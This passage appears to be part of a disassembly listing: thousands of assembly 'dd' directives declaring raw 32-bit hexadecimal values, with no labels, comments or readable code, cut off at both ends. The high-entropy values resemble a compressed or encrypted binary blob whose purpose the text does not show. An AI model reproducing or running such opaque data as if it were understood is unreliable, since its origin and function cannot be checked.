89EF2011h, 95FFBh, 5B0301DFh dd 0B868585Ah, 5BFC3C53h, 0EAAC8344h, 0C85BE110h, 0E25D21C4h dd 0BFED5EF5h, 4E98F67Ch, 685F70DAh, 0CC170A2Ah, 1131595Ch dd 0BD00A1A5h, 21F8740Bh, 0DCA4895Bh, 0CC08049Fh, 4DA010Ch dd 9128ADDh, 0FB40256Ah, 0AF3A2D66h, 0F8011D28h, 0E90E05D8h dd 0F84454A0h, 0A50BDF67h, 95D0509h, 0EBBCF6E1h, 0F4D9D705h dd 0B165D2Fh, 3C0016EFh, 40D315AFh, 0D05B5EE9h, 0B9FEA90h dd 0EE280C28h, 0F82D54EAh, 83EA527Eh, 141C4108h, 0A9C10F43h dd 56823FAEh, 1607460Dh, 25E38075h, 26A59CBh, 40543539h dd 10E037B6h, 13177D97h, 5800D13Dh, 357AA6EEh, 2B2B021h dd 0CE406D0h, 46C80BE9h, 0C8B57368h, 96459347h, 88E26803h dd 5A16CEA4h, 201C1C07h, 0AFBD12CEh, 76402501h, 42355862h dd 0DC4B5D06h, 3AC7CC05h, 94BF73B1h, 0FF080564h, 0F00BA32h dd 6DD12502h, 479225E9h, 0C5CFF151h, 0CFFF6828h, 76156B50h dd 6115A8Ch, 87B93030h, 0E5DCBD4Bh, 0E2658283h, 0C952DE25h dd 0D4C52B7Dh, 51E9E1CAh, 429B4A43h, 9FA5C3Ch, 0D8C0E957h dd 0B94E4ADAh, 4FEB1034h, 0DA55ED5Bh, 7A6221h, 90662CE1h dd 8A0F1606h, 5BBEEC6Bh, 0DEF295FCh, 313091C9h, 0A50B94h dd 0C380F0B3h, 69870F12h, 6C5D93DCh, 1C5B2F24h, 0D409B8F3h dd 0A04EB680h, 80F2D7E0h, 2413BD55h, 0CFF06223h, 33CCB14Ch dd 8D2703F0h, 6CA00E5h dd 0B0703F0Eh, 0B5955061h, 9E49061h, 1BEA516Eh, 16C40C84h dd 18CB02BFh, 60D53B10h, 0CC2410Ah, 0EE297CA0h, 565F95A4h dd 50B95874h, 6AB33993h, 33E94BCCh, 4F4490A7h, 346671B1h dd 0DD76F703h, 0BDD874C7h, 5DEA31B1h, 21E21281h, 2B63E920h dd 0C649220Eh, 66710EE5h, 978B46CDh, 0DFBC34Ah, 7B0E5D14h dd 0D13ADCF5h, 6ADCE95Ah, 393B14F4h, 75C81D5Ah, 12D3C902h dd 33C344E1h, 69B4E9C0h, 893A4112h, 5F695FFBh, 0F6B008DBh dd 37A35F13h, 0B54A2924h, 3E95AEE2h, 7EE782h, 68504E5Eh dd 7F2F3F2Ch, 3A16DE68h, 9C4648F7h, 8EAC101h, 505ACDE9h dd 0EB2DD0F1h, 3EBB711Fh, 2590CE13h, 287598F5h, 0BF93469h dd 2F7B636Fh, 5811897Dh, 0D028C576h, 0A40E83E3h, 0FEAC975Bh dd 4C00353Fh, 302D236Ah, 241647CFh, 0CA08C229h, 895809CAh dd 0BF311677h, 7DD37B48h, 0DADB0D82h, 962433D1h, 0E61095AAh dd 0C809D299h, 510889F0h, 0E9FF4C6Bh, 59977571h, 0AEEC273Eh dd 7E957990h, 2D5EB2Eh, 4A7A996h, 806DBD45h, 725A3CCEh dd 0FEE630E9h, 80C4B65Bh, 0F11F602h, 57BED986h, 80012745h dd 8B0FCBE6h, 0A82A82CDh, 0E95AB035h, 9D1FD6B1h, 0ADE23B4Ch dd 4EFA7777h, 8D5C25Eh, 0B4CC3B72h, 17BA9347h, 0AC300AD2h dd 534104FDh, 7E802CF5h, 9784696Fh, 0FE0BF3F0h, 58A13545h dd 5452320Ah, 0F8EAD982h, 0F76B195Eh, 16D54A84h, 120F2DA0h dd 0AFBFEC89h, 0DDB91461h, 857D171Bh, 0FA1802F9h, 885C0C9Ah dd 7195E279h, 13762522h, 2407C62h, 96E2FD01h, 4E324B57h dd 249EA90Ch, 6B3EA35Fh, 422CFEFBh, 6D60F029h, 0FE2656BFh dd 151C460Dh, 0C02E9F4Eh, 0F254C3E5h, 840F1209h, 2E41B1D5h dd 57A32BB2h, 0E25E348h, 0A4CA32C1h, 42ECCD89h, 99F0A5DFh dd 7E076225h, 28D283D4h, 0EDB15AF5h, 0EDE5C155h, 600D7C5h dd 8D045865h, 0E92CE828h, 0BC4BD738h, 133C2138h, 6724AA50h dd 0F9EB29EFh, 58A95040h, 594D1188h, 72CA9F28h, 0ED89CDBBh dd 0A6840006h, 0FD609126h, 1DA693FDh, 5480099h, 0F7BEE788h dd 746268C0h, 972975A8h, 80467C2h, 0D2CB8958h, 5B003A50h dd 9C777005h, 50D8293Ch, 9053072Dh, 69C2004Ah, 0F2816245h dd 342404DBh, 9502444Eh, 4014B133h, 123AC956h, 78936BEh dd 296EE94Ah, 30020153h, 577F6456h, 8B7C26F0h, 53C4FE91h dd 4C6AF6AEh, 820F10E9h, 42935C2Fh, 659D16D9h, 15A22FF4h dd 9440E64Ch, 0D0060023h, 82D4058h, 5102BB43h, 7ACEFD05h dd 7824C284h, 66503778h, 8F4BFFE8h, 439B6F8h, 0E89E284Bh dd 53262C74h, 3D131850h, 0F8C0800h, 0D21B0C81h, 0FE16049Eh dd 230CC0CEh, 39CF2E9h, 0BE53AD07h, 65F117F0h, 92CE6181h dd 2F4E0A0Bh, 0D31EBDDh, 8005D202h, 6DE990E5h, 7665BFA2h dd 8B499813h, 2DA1FC5Ah, 0EE456ADCh, 0E976D0BBh, 59B7977Dh dd 0CE88F97h, 0E2F95364h, 2852364Fh, 0C7801213h, 6885706Bh dd 0A3B539DEh, 83FCB5FFh, 0DE59E2EFh, 316B28FAh, 0F141918Eh dd 0A22C2B9Dh, 0FEECFDDEh, 0C2B24AE9h, 0A9D7B8E9h, 4B950020h dd 9F51A244h, 804C26Ah, 5C91FB58h, 5C01D49Fh, 122F3201h dd 0F5953E4Dh, 5F0550EFh, 0A94E4894h, 5254897h, 56D1014Bh dd 37509080h, 0E9293DA8h, 405C08AEh, 4490398Eh, 255D52C1h dd 0C42A213Eh, 0D0CEC445h, 690305DFh, 29502B05h, 7122DF8h dd 81DF6406h, 5E569593h, 9F880F83h, 0E9180CAEh, 2D0AEE99h dd 835A6118h, 82116382h, 0CCD71C42h, 88D49630h, 0BF00B6AAh dd 7FE78ADh, 93EF0481h, 0BBBE503Eh, 0E7D2FBC1h, 450FEE10h dd 0C6EDE30h, 408479B3h, 2A3CCA1Ah, 41F4064h, 956A7FEh dd 0D002C3F0h, 3DA2A310h, 70465D25h, 0A60D995h, 13FAE089h dd 0A5A7F870h, 17055261h, 480EA16Dh, 0B452A97Ah, 4E12516Dh dd 5E014321h, 5A0E1967h, 83730C83h, 0BAF4C036h, 1CA590Bh dd 42146078h, 0CBC6A070h, 0C46282A5h, 0A682CCF7h, 0C5406B0Dh dd 572511E5h, 77E9F1B0h, 0FE2C7C60h, 90652CC0h, 75DE70E0h dd 58D5E5C6h, 6331298h, 522F6824h, 0B13E9046h, 95CEE0C1h dd 5D5000Bh, 0E84BE07Eh, 632D0955h, 0E8F5DA95h, 1792B9DBh dd 8926836Ah, 4D9CFCF0h, 7E674B95h, 0EF0084A4h, 81FE875Dh dd 0A4DDBF6h, 0DEF769CDh, 5C681A6h, 2FA5A6A1h, 8E9A004h dd 680AC5B8h, 0B8C6297Bh, 820E5824h, 0B1356C9h, 0AEC1BC40h dd 824AC870h, 8FB89C05h, 4721B3B5h, 6811606Ah, 0C4BD6A8Ch dd 20EA9C5h, 42F2847Bh, 3C83E9C5h, 0BECC99D7h, 81E07670h dd 49B9EB31h, 6ADD3A66h, 0C49923ECh, 461927B7h, 4515E4ADh dd 164E2D94h, 15670845h, 0F6C0E3C4h, 332356h, 0B9514830h dd 40D835D1h, 14E98104h, 0AAA9D38h, 2B153A1h, 0BC50899h dd 0B961D090h, 9880BD9Eh, 1203430h, 885A98F7h, 0A68569Fh dd 3E5A6B2Bh, 575512B5h, 0E195A9EBh, 0C26C30E9h, 87415725h dd 0D9542A41h, 0E5B20351h, 0F2F5B753h, 7156D8EEh, 0BB459D59h dd 487D9A80h, 0B1D9316Ch, 4F89619Ch, 0A7646B20h, 9D295FEBh dd 162BCDC5h, 2A70212Ah, 0C600CFCh, 174149EFh, 0EC1CAC1h dd 0A3207BE5h, 4FC98277h, 0E15C0370h, 46A5054Ah, 0C925C953h dd 8B50D306h, 706E0C1h, 0B55D9505h, 72D4D235h, 12B51CD7h dd 0A3236268h, 39B80034h, 0D06E173h, 550158FCh, 0D28B0F06h dd 58BF4488h, 0C0AC4A2Eh, 0B5E0D1EAh, 718B165Eh, 420BD326h dd 0C4A00A23h, 5559B4BFh, 0C931687Bh, 0FD884486h, 907CABDDh dd 5FA48A4Fh, 400B88D1h, 7608EA05h, 0EE3A42B9h, 53F46807h dd 1653CBEFh, 0B1F8D921h, 486C6882h, 89024775h, 8358E4E9h dd 8034B401h, 8F0FA5F4h, 377AE6F1h, 61600417h, 0F76B74B5h dd 5C5412DEh, 0D69DE8ADh, 8570BA48h, 0BD88C801h, 5C282550h dd 7E9510EBh, 800F82B0h, 8FFEE371h, 3A8A9C62h, 2D64E6F7h dd 2182F888h, 7608D37Ch, 7965046Bh, 3A66491Dh, 6AD8C869h dd 95A84812h, 973BB0D7h, 816BC341h, 728EF8Ah, 97871649h dd 0CDB6F5C0h, 2EC6CC97h, 624E31A3h, 0C6555854h, 3DF7228Bh dd 0AD85C389h, 0CA75D9B9h, 5EFC0842h, 0A81E1726h, 0A9898244h dd 0AF810B95h, 0E38B7065h, 0BBD5062Ah, 0B94212C3h, 8947E9DEh dd 5E55294Dh, 0EA862247h, 0EAD064DFh, 2EF6ABC9h, 0C2708810h dd 5AEDC8E9h, 6A7A27A8h, 60B71C64h, 7C0D21CCh, 6343FE5Ch dd 39A69FAFh, 0C2B50A5Bh, 5856922Bh, 1AB0E979h, 4A476E9Ah dd 404DFD40h, 46B55A08h, 0BB685C21h, 612E549h, 6B3A89A5h dd 5E560AF4h, 0EB2BCD51h, 6438348h, 4C374FCFh, 0B0350970h dd 0EF8B3C8h, 534E92Dh, 89FEBD6Ah, 8DE42AF2h, 0EFD9678Fh dd 5D5A72E6h, 82DFCEA9h, 7F100A05h, 0F9496DA4h, 24F603B8h dd 2FA4729Dh, 49985B94h, 52824FC2h, 0B57FF22Ch, 4ADB098Bh dd 7B055CBh, 8D02300Eh, 3A684603h, 9840465Dh, 1453032Ah dd 44E927BAh, 0CB016F16h, 0BAF51FBCh, 0DC135172h, 170D6819h dd 1096E85Dh, 80039FACh, 0EB884DC5h, 259E8CD1h, 1F3F308Ah dd 4FFC304Ah, 48D3680Ch, 62957D59h, 0C5F574CAh, 0FBDABA56h dd 21813E9Ah, 0C9E43D4Ah, 99C87042h, 0E79D1716h, 2D8B8815h dd 1775545Fh, 204FA069h, 8B4BF07Fh, 92BEED1Fh, 0E6718D9Eh dd 0B18B7B82h, 5610BF98h, 0B580BA0Bh, 97E5FAE3h, 0A51680C2h dd 2D507397h, 0CD2B2FA2h, 0BD4A5A06h, 0C96CF40Ah, 380F4840h dd 0FB82399Eh, 0D8C7350Ch dd 0A6C3BF8Bh, 0AEE8D4A5h, 0EE611D61h, 0F1095207h, 7DD323DFh dd 0D9579B1Ah, 16B86302h, 0B304D80Eh, 0E879B4Bh, 3E17E2B0h dd 0B5B3BD05h, 73269400h, 0CEF28102h, 235B0802h, 5540A868h dd 2AA64398h, 0DC78AD2Dh, 0ACC82758h, 6C287135h, 9838C815h dd 0D2A12F76h, 3A20226Ah, 0D73F31Dh, 19F80496h, 0A935A44Eh dd 14889204h, 0ACFCF331h, 9CAE2713h, 683B5756h, 85AACD4Ch dd 0CDEE80FBh, 3A454DDh, 4D744EC6h, 0A6AAAC85h, 310F80ECh dd 512BBCD6h, 0BA14253h, 2C3B0D50h, 4FDCDCB3h, 0BAE490ECh dd 3EC24534h, 9C610EBEh, 6E5E6203h, 15836DC5h, 6ED4C9E0h dd 3DB5A42Ah, 0D1603C41h, 3AF30BEDh, 3D7C3010h, 0E11DE93Eh dd 0BD2A1F9h, 306C837Dh, 0B4654B39h, 7441018Fh, 8B3880F9h dd 89E6BB1Eh, 0A7506218h, 0A569429Dh, 0F5B2050Ah, 6AE29778h dd 27E3BED7h, 54C071E9h, 0CE5BFE58h, 5E66804h, 602E62FBh dd 0F2DD9DAh, 4E5FFEAFh, 15D9364Bh, 2B2A298Eh, 158A7F70h dd 3EC3FFEh, 3F2CDF0Ch, 730B3A33h, 9D1B5C0Eh, 0B150F2EFh dd 0FCCF3561h, 6FCF7F29h, 0D468A258h, 0BB0FF449h, 87F1C7AFh dd 1B14EB1h, 598B8E7Ch, 0BB37A75Dh, 675C3120h, 46482CE9h dd 0D30E6973h, 1C68FA17h, 0D484830Ch, 0B631BEE5h, 0EE15C2A8h dd 93DCE6C6h, 0F5680D72h, 0F0F0038Fh, 82347520h, 0A6B354AFh dd 3F210E61h, 0A0513330h, 24F5B00Dh, 4C85266Ah, 2E62DD0h dd 1270E697h, 0FA8F38E9h, 8E704A21h, 4A68E864h, 2E31AC67h dd 0C19CAD5Ah, 66BE0560h, 8275D176h, 540742A5h, 0E7F05165h dd 240BF64h, 338135B2h, 0FA5B612Fh, 856801B1h, 637D9176h dd 0EDD13399h, 3B54F1BAh, 8068B107h, 0CA88D4F0h, 0D1302F59h dd 4DAE6526h, 90AC545Fh, 3CA77AB9h, 0FF151407h, 96C7C045h dd 4A13244Eh, 0A7A46AE9h, 0B7250BEDh, 0ED637579h, 4DB24006h dd 0B0C49C5h, 71D376C7h, 8A06E76h, 0A056459Fh, 31E9131Ch dd 0FCCA20CDh, 0CAB0C343h, 29EE342Dh, 994884B6h, 0E0453DF7h dd 1667F26Bh, 0D5B33501h, 1F2BB512h, 541B576Bh, 9612CD40h dd 83516503h, 0F89DD14Ah, 5CA5963Ch, 0B7BD1C30h, 0B02D1210h dd 2506D23Dh, 0DF636A01h, 0C89F2A1Eh, 80F9FB17h, 0A2BDE688h dd 688658F6h, 828EFD80h, 0F4470C55h, 0E9CAB209h, 0E78C8C6Bh dd 5A03FD96h, 0CA65C180h, 7DBC4A9Fh, 575CC592h, 0C624742Fh dd 883B61D2h, 0D71493ECh, 0F7051190h, 3D2095D8h, 3C267D0Ah dd 0FE358BFh, 144DB19h, 80BD8FAh, 750D925Dh, 9D8BA286h dd 0E66BA44h, 9C46EA81h, 6790ACB2h, 0C67F4713h, 0E710C229h dd 5408004h, 2DFA1C2Eh, 0E913E9B8h, 4F515B9Bh, 720F48E0h dd 604EA5F8h, 0EA7B64F7h, 70DD9A95h, 23A2D77h, 0F98764FEh dd 579220Bh, 70A0551h, 29901553h, 0C3895D0Ch, 0CC833F4Ah dd 215DC2ABh, 0B712CCD5h, 179930Ch, 10E7FA49h, 552EDD39h dd 4AD61075h, 0FD4A7BFCh, 6DD0850Bh, 0DD12DCA9h, 238BBE76h dd 42475124h, 0B25F5457h, 139D7B3Dh, 226FACEFh, 0A0E91602h dd 0FB355245h, 0CACCC417h, 0B8E9128h, 6DEF908h, 478F0C52h dd 0F1DB221h, 0F181E1D1h, 65C202A2h, 8A240140h, 0D4282E27h dd 4D1F0DF5h, 7CA2D971h, 12B84A8Fh, 0A569BE1h, 5C20A858h dd 56E08A2Fh, 18225C78h, 780AFD7Ch, 5115B9Dh, 0EAAEDBE9h dd 91AE3D35h, 6B2DC162h, 91C85E38h, 825912B4h, 0FF60B07Bh dd 22C00F6Ch, 3D227A35h, 8A649766h, 7F3E301Fh, 675B6845h dd 1302FAD8h, 13382132h, 60D33797h, 77496B4Eh, 1465148h dd 173129F2h, 9641DBF7h, 0B33FA548h, 20C68EB8h, 0DAE95B51h dd 0EF4FC099h, 0C0E3F7C9h, 80454497h, 2411C883h, 21164F6h dd 91E28D7h, 0E21582D5h, 0DD540D59h, 5ED46DD8h, 1CB54CF8h dd 0E9C5C448h, 0EFFDD5CDh, 5CFC9AC4h, 0CAB814E2h, 0A2B2E1E9h dd 258EB91Fh, 0BE931C1Eh, 4B31E5B0h, 35D237C1h, 0E90820DEh dd 9DDDD390h, 0DD945C89h, 0BB5E9430h, 0C5D65481h, 0D7E98D6Ch dd 0C8B73A69h, 6E54294Eh, 409C5123h, 0A359513h, 33461978h dd 0E3B70BCBh, 4C149F9h, 0C12A5C44h, 282FE9F9h, 55FF40DBh dd 31E7651Eh, 831836ECh, 2C118819h, 24E60906h, 6E9F081Ah dd 123C95A4h, 2DE90A2Ch, 0B645297Fh, 4A70FEAh, 80D20B6Eh dd 0D154E1D6h, 0F5CA1E50h, 0DDE507A2h, 4AA46724h, 0EBA3E905h dd 189C2801h, 0C77B1379h, 2F28B8CBh, 497A7228h, 0B10828B1h dd 5DFEA7B2h, 0A3845FC9h, 683DD0BFh, 0CC952588h, 8172A01Eh dd 4BF42E7Ch, 1D1050Dh, 5EAA8386h, 28FA1694h, 0DD246857h dd 21D02B4Ch, 0DA98372h, 6FF87531h, 6B7C6091h, 23D7D202h dd 1630FBFDh, 0BB05132Fh, 0CCEC1735h, 0A0EBB4C5h, 0CC75FEE1h dd 807302FAh, 42E91E09h, 0EFD87484h, 0E535EBC5h, 0B151D4B2h dd 16C38348h, 0A7F8F602h, 0BB02F220h, 7061762Dh, 1A967589h dd 0D909CDECh, 0F463C718h, 8ADD0941h, 0D581CF64h, 6120C1D6h dd 408E04BDh, 984655B5h, 48005852h, 4C749735h, 2D8B0F0Ch dd 0BDF69543h, 15EED1D8h, 0F9D248E9h, 7EEEB74Eh, 0F36A9230h dd 2E9FAAC2h, 12CFFE08h, 0DCC9EDDBh, 4552DEAFh, 5EB54946h dd 67FDA4D7h, 672906E1h, 0B27BB912h, 48F884A6h, 0CC01EB12h dd 157A4D65h, 2A4E993Ah, 9A2EF88Ch, 0B8D6975Ah, 9E3EE978h dd 0CB2C3855h, 54564200h, 1F2E4D5h, 782BD5BAh, 0F0D6314Dh dd 7AA04A5Fh, 0AA3B71E6h, 0DCF2002Dh, 0F7F1F01h, 3F75E87h dd 0A40BE93Dh, 0C1290B3Ch, 666CF5FDh, 0B443E84Bh, 13DCB201h dd 568012C0h, 3D2C239Bh, 8225E94Ah, 625676E3h, 31D7C330h dd 446A51B2h, 0D5CCE9ADh, 0D34DA231h, 0D6D1EF09h, 796870E7h dd 0A2EC204Bh, 0E8EE81B0h, 5397F18h, 0D4B9E32h, 0D60109A2h dd 1C08061Ch, 984E1483h, 0A320E62Dh, 129BCB7h, 0F608EDC0h dd 3274E8DDh, 0E22E4A9Dh, 0D742DF50h, 0E961925Eh, 26802F8Fh dd 0DE0C355Ah, 894B1D58h, 1721ABB5h, 116EF2Ch, 0A27E16CFh dd 43061B64h, 5E5E03Bh, 7BCE3E6Ch, 5BC08B25h, 35276859h dd 72839844h, 3B53B7C6h, 51D5B10Bh, 24192479h, 0FEBD826Ch dd 0DE807F78h, 971DA8EDh, 0E70C7361h, 0C0FA7174h, 24458C8Bh dd 2F7FE391h, 895B5F14h, 0AB4E27A9h, 8DE94004h, 2F689988h dd 23F10538h, 0B5E9E682h, 279845A7h, 0BF0AF1F3h, 31C31198h dd 7CEE93F5h, 1F8AEC08h, 17670FBFh, 4F7051E8h, 0C2EEE9C2h dd 6AD4A2D5h, 0FA9122B9h, 0CC9A977Eh, 33236006h, 5C9AB5FCh dd 851B352h, 12E02EF9h, 0E9C30B5Eh, 66DA2E3Ch, 91EBD8A0h dd 1FD22310h, 3A6B1004h, 13E524h, 0C4A6808h, 0D8035693h dd 0E9798E09h, 0B3BD5E15h, 0D7903E20h, 0FC860312h, 0D4098419h dd 0E130DCD9h, 0E2881CEFh, 15FEE558h, 3FC1D05Ah, 2CC030D8h dd 0C09E8E70h, 0E80CB519h, 79C659F1h, 0A4B14060h, 7598C980h dd 0F4386327h, 0B7BD62D1h, 0DCEB5F05h, 42027C15h, 7E0C17Bh dd 966D6850h, 0C0D673F7h, 360D580Fh, 6775A14Ah, 4454136h dd 68050932h, 6E517CFCh, 0B65C9B82h, 0E7C05D7Eh, 0E7BFF99Eh dd 0D5512F25h, 8BAC5C94h, 1D887568h, 249910A7h, 5A13FC5Dh dd 0E9561E60h, 0E39F4E7Eh, 1D453297h, 46D0E05Ch, 9CB980DEh dd 947E0838h, 739BCD21h, 555DFA0Bh, 0F89A7F67h, 5F9E84FDh dd 0B8A088AFh, 71482E1Eh, 78BE2DBh, 28D1B6A5h, 0D384C3F7h dd 43E52F01h, 452A7A6Eh, 546AA4F1h, 0FD4A6E37h, 0FE8B5BDDh dd 48BA0F10h, 602704C7h dd 0BEF81D28h, 4DAF717h, 9B97884h, 0F5E7575Eh, 7D527A2Eh dd 13865BE3h, 2158C213h, 4F23C5C8h, 201C8982h, 507BDC1Ah dd 5CE5C48h, 0A4B4555Bh, 0BF04C4BEh, 0E6D0E15Eh, 6F945333h dd 0C945A5F5h, 53887DDh, 0C409C818h, 0C9E92F52h, 5D01568h dd 726F2E9Dh, 0EF9967BFh, 0A42FE892h, 0B894DC81h, 4BAA6800h dd 3BA099B5h, 552EB2FFh, 5E2DA045h, 2076F2DCh, 7418E9E1h dd 7F313324h, 90E4BFDEh, 0B04A58FCh, 5F5C0872h, 26AEED10h dd 9F69EE20h, 0AF329BD0h, 0E429122Ah, 0E9553FADh, 0BDD8E2D5h dd 0A2161728h, 6C41FE40h, 0EDD14DDDh, 87D830h, 5197C0C6h dd 36929B9h, 2010265Ch, 29EA0B3h, 0C2705A4Eh, 79BC596Bh dd 75ABA8D2h, 2D5A88EFh, 654A7250h, 0B50DDEEh, 4B137CCCh dd 7FFC7F5Bh, 86AA76Ah, 0C262F25h, 0AB4E5511h, 7103A109h dd 3DEC495Ah, 0A4A6E918h, 1316C7C7h, 0B0BA9562h, 0DE41A053h dd 5AAA5424h, 0C84B546Ch, 5049720h, 58BF48F3h, 752BB82h dd 0C67F6350h, 334E9704h, 38BB6F25h, 444096B3h, 0D75CECADh dd 0F36C8455h, 0CBF84E8Ah, 0FC2BE9C2h, 92073482h, 7112907Ah dd 0A721D788h, 5901D653h, 0B7063A01h, 72C32B51h, 58C626E8h dd 256805D8h, 1236E337h, 0C8AEDC5Ah, 972C68E3h, 5361B94Dh dd 0B3ACAE9h, 57093078h, 0D4A76C05h, 0A9CBFE39h, 0B034E9C4h dd 7D58B841h, 305824B9h, 0C8607C24h, 80A2E5E9h, 0F42C890Fh dd 0E88C6333h, 0F8030607h, 635F308Ah, 8953F6AFh, 458F48B5h dd 691A3901h, 2D83ECCFh, 0CB0110C1h, 0CE67C985h, 0D749B751h dd 125199A7h, 69431F5Fh, 0A104E42Ah, 6E3C007h, 0F671C380h dd 0C9D6FEDBh, 0C5EC7084h, 8D0F1211h, 0EE195299h, 0C69567C1h dd 4358530Ch, 2E525526h, 0B07FBFE1h, 211626DDh, 0CF8120D2h dd 0A5405A50h, 4C6FF7EAh, 0C2278D29h, 60E98348h, 0C50A09B5h dd 0E07B27F2h, 24C7425h, 481F0D3Ch, 18A089F5h, 58F6C594h dd 0CA58C5E0h, 4025C648h, 6858EAD4h, 0E6745F62h, 5FC75E0Eh dd 0E97DFE60h, 0BDED4020h, 302FE07Bh, 22AD803h, 6AC2E381h dd 63C04305h, 9D096319h, 5A37E921h, 0F4C30450h, 0AF75F257h dd 3C0D44C1h, 7E0E5207h, 0D5D6D8A9h, 4D8A5525h, 0D5CC3F1Ah dd 0EEBA404Eh, 65CE6BDDh, 0E7B519Fh, 0F8A2A705h, 2960401Fh dd 0A360CBDEh, 597FC2D8h, 7EFEC11h, 241B1AFBh, 51CCD29h dd 31B40D08h, 0C2FA3081h, 0E295F690h, 0F6D56C72h, 0F6B65F74h dd 6D18D891h, 28EC2C67h, 50052557h, 2971EB5Dh, 0B32FB968h dd 10FD52A5h, 2F50E472h, 7733625Bh, 8B59BAE6h, 833A2D3Ch dd 0A9FEBB22h, 0F43F0CF1h, 317480EEh, 82E93508h, 5B5E2792h dd 6153571Eh, 8B252E80h, 0B0D75B47h, 57825C3Eh, 82D1BA05h dd 677E737Dh, 0AC985752h, 0D68228D8h, 0BFE2DF5h, 0FB027F25h dd 9BAEAFC4h, 12656DC4h, 0F64005BFh, 0C76B94Fh, 0A12D0EEh dd 2D953DC6h, 7B94B14Ah, 0BFFDD48Dh, 0D9FB53C5h, 32001C7h dd 406141B1h, 0AED420A2h, 80318E34h, 0D7AE64C5h, 57805EC6h dd 0E62D646Bh, 473D2317h, 7177C84h, 1970FA29h, 4B27924Eh dd 0CDAAE45Bh, 0C9E76D5Fh, 641A5925h, 9A066355h, 0FA5C09A6h dd 58FAD449h, 0A9BEE378h, 53F0B840h, 0ED098D8h, 2BAE4E54h dd 77A446AFh, 44E68306h, 549E3B48h, 4B05097Dh, 0C6011A08h dd 0D089F10h, 83A15EE9h, 0D024803Eh, 0A7D3571h, 1B87E433h dd 0CA56BAF1h, 1B6E7F87h, 37FE3B24h, 10700689h, 17F180C5h dd 0C0565038h, 1B3F7A16h, 292E97Dh, 0CAE90DB9h, 9BEE334h dd 7F35673Ch, 81EB6E87h, 3B6CD638h, 0D84B110Bh, 0FBAA205Fh dd 12FB6658h, 3330E541h, 9517EA68h, 27950498h, 88CE983h dd 0EEC0B051h, 0E5BF5700h, 2A6A2205h, 0CA80FD89h, 466EDC5h dd 27E978C2h, 46350179h, 56CC5513h, 7E4104BEh, 86290BC7h dd 0F7011246h, 875C1726h, 68E49CEh, 0FE5393E9h, 0AB312A20h dd 0E87FD23h, 89EF97DAh, 77D98BD7h, 8840C332h, 561D0C33h dd 0D59BE9C6h, 0EE980EEBh, 89C657EDh, 0FE1F06EFh, 2D965D5Fh dd 900C1ABEh, 79C0241h, 0BA703BB0h, 9B565C6Fh, 4A1DAA01h dd 61CA8777h, 6A562281h, 0EF089A10h, 580D006Ch, 0F755040Eh dd 1035D802h, 4001AA1Ah, 20ABB134h, 0A1BAA341h, 3A66AD27h dd 92447FA7h, 0C6C7E919h, 0EC09EF21h, 99BD3B7Bh, 0D86E51B7h dd 0F460A210h, 63F7C537h, 0EDCE90FDh, 806DB21h, 6CB6091Ch dd 96554F3Ah, 408AB02Fh, 68185699h, 0B1177C6Dh, 0CB308038h dd 3F5669EEh, 24563E60h, 2D835D08h, 30C95A1Eh, 0E96B8765h dd 39C0AF76h, 0A147B2CBh, 0EBD1261Fh, 0AD4512BBh, 4A9FD002h dd 8AE92823h, 5B2BF026h, 2FD8E5BAh, 532F6344h, 4850F01h dd 972F628Ch, 0FC139DA8h, 0D48BB8AEh, 2C2121Eh, 1D022CBFh dd 0C0AD446Eh, 1A3025A4h, 0F488CA88h, 860F8291h, 0ED483727h dd 6880593Fh, 24CCE0F7h, 17BF5B6Ah, 0A24F56D3h, 6EB8008Fh dd 0BD42AE66h, 5A70476h, 6C5010Eh, 345DAC7Ch, 0EE53C981h dd 112F37A6h, 5177CFC2h, 0C5E90537h, 37CAFEA4h, 41CE2F7Ch dd 0F469E7DCh, 0CBFC6B8Eh, 750E8000h, 963DE905h, 65442F9Bh dd 5E26B025h, 1DE426AAh, 73B76003h, 28F8256Fh, 68716CC4h dd 0ACD9EF12h, 11696680h, 0E9953F59h, 0E764C330h, 822EE18Bh dd 0DD80E2DDh, 187DF6C2h, 9F7E2BC9h, 59408BF1h, 974783E9h dd 0C4D3CB9Bh, 7F86BF58h, 757E3558h, 9EB10C8h, 0BD13A3E9h dd 0C47446E1h, 0A8F8522Dh, 0BF187160h, 4E3D2EFBh, 5C4B241h dd 782C6866h, 84044E1h, 170F21C9h, 0E2E4CE82h, 4BCFE732h dd 0B5732Ch, 0E9C0B70Fh, 22928ED9h, 4A8124EAh, 481EC60h dd 0AB7548CAh, 0A316BF42h, 7DBC6D12h, 1FCB3FDEh, 0CFCD893Fh dd 0FD55DA91h, 0D8C2065h, 34DB3EF9h, 0B5515301h, 84EF88CFh dd 0BCD1E9B7h, 4FC106ECh, 0F566FD31h, 3BFC286Eh, 113801BEh dd 46E6D128h, 0C06086F4h, 6B74ED69h, 0D09F159Fh, 741BB29Eh dd 35316ABh, 5D0ED021h, 805DE3E9h, 384704B6h, 81FE3D05h dd 0A449BA10h, 5010CE11h, 0F3E2D116h, 8FAD4B98h, 4F40F2E4h dd 19B15F1Dh, 472CFB01h, 0C409302Fh, 3272EED5h, 0D21AEC22h dd 0D74CBE4h, 647BC69Dh, 81541105h, 56DB244h, 0A8C40CEDh dd 6673273Eh, 0AC455A2Fh, 3096754h, 49EF98D2h, 0E260E781h dd 21FE04CFh, 0B0D17CF7h, 643C6C20h, 0FF67EFAh, 2159D009h dd 59CD5431h, 8B743C29h, 27B056EAh, 0F088A8DBh, 0AB92BC6Eh dd 0DE91AECBh, 457BEF8Bh, 0BBBAC845h, 0B4797FCCh, 55F000Fh dd 44230C85h, 2D519FB0h, 0F178A707h, 92FD6B9Ah, 48E1D7B6h dd 0C36620F6h, 8C202841h, 0B885D323h, 36F71094h, 0FD3E2DC0h dd 14FBA73h, 18CEB4h, 816CCA5Eh, 575D43EAh, 0FE210D2Fh dd 0C4730CD0h, 6805EBF7h, 29264735h, 302C5B81h, 0CF28EA39h dd 0F6DE9DACh, 0BC520425h, 72C6550Eh, 0C60545BFh, 117B0109h dd 9885B7BDh, 920EACD9h, 766CCAFBh, 2E72685h, 1FF7741Eh dd 0F05154C0h, 20AF1497h, 317FA780h, 589AA0EEh, 0F894B027h dd 4F5073E6h, 5B4109D8h, 0A8EC7905h, 255C8F5Dh, 0C8BE737Eh dd 654DCF44h, 2A4B9E1Ah, 6225DCDEh, 6801E8E4h, 6D2F4811h dd 0C7302A7Ch, 583B59BBh, 0EB3A06A1h, 51711A8Dh, 3021D40Ch dd 0FC04074Ah, 0B4F94B7Dh, 0B8F3752Ch, 0AB0152h, 7E66929h dd 0E8E564E7h, 888F14Bh, 520C7508h, 